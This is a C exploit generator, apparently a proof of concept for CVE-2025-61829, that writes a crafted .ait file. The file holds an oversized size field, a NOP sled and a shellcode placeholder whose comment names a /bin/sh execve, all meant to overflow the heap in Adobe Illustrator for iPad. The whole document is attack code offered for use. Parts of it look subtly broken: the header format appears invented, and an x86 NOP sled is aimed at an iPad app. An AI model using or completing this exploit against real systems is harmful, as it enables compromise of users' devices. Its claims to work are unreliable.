// CVE-2025-61829 PoC - Malicious .ait file for Adobe Illustrator iPad
// This PoC creates a crafted .ait file that triggers heap-based buffer overflow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// AIT file header structure
typedef struct {
char magic[4]; // 'AIT\0' or similar
uint16_t version;
uint16_t flags;
uint32_t file_size;
uint32_t header_size;
uint32_t data_offset;
uint32_t checksum;
} __attribute__((packed)) AITHeader;
// Crafted data section with overflow trigger
unsigned char malicious_data[] = {
// AIT file header
0x41, 0x49, 0x54, 0x00, // Magic: 'AIT\0'
0x00, 0x03, // Version: 3.0
0x00, 0x01, // Flags
0x00, 0x00, 0x00, 0x00, // File size placeholder
0x00, 0x00, 0x01, 0x00, // Header size
0x00, 0x00, 0x01, 0x10, // Data offset
0x00, 0x00, 0x00, 0x00, // Checksum placeholder
// Heap overflow trigger - oversized data field
// This triggers buffer overflow when processed by Illustrator
0x00, 0x00, 0x00, 0x00, // Type indicator
0xFF, 0xFF, 0xFF, 0xFF, // Size field (oversized)
};
// Generate heap overflow payload
unsigned char* generate_heap_overflow_payload(size_t* out_size) {
size_t payload_size = 4096; // Large payload to trigger overflow
unsigned char* payload = malloc(payload_size);
if (!payload) return NULL;
// Fill with NOP sled
memset(payload, 0x90, 1024);
// Add shellcode placeholder (actual malicious code would go here)
// execve("/bin/sh", NULL, NULL) - example
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, // NOP
0xCC, 0xCC, 0xCC, 0xCC // Breakpoint (for testing)
};
memcpy(payload + 1024, shellcode, sizeof(shellcode));
// Fill remaining with overflow data
memset(payload + 1024 + sizeof(shellcode), 0x41,
payload_size - 1024 - sizeof(shellcode));
*out_size = payload_size;
return payload;
}
// Create malicious AIT file
int create_malicious_ait(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) return -1;
// Write crafted header
fwrite(malicious_data, 1, sizeof(malicious_data), fp);
// Write overflow payload
size_t payload_size;
unsigned char* payload = generate_heap_overflow_payload(&payload_size);
if (payload) {
fwrite(payload, 1, payload_size, fp);
free(payload);
}
fclose(fp);
printf("Malicious AIT file created: %s\n", filename);
printf("This file triggers CVE-2025-61829 heap overflow\n");
return 0;
}
int main(int argc, char* argv[]) {
const char* output_file = "CVE-2025-61829.malicious.ait";
if (argc > 1) {
output_file = argv[1];
}
return create_malicious_ait(output_file);
}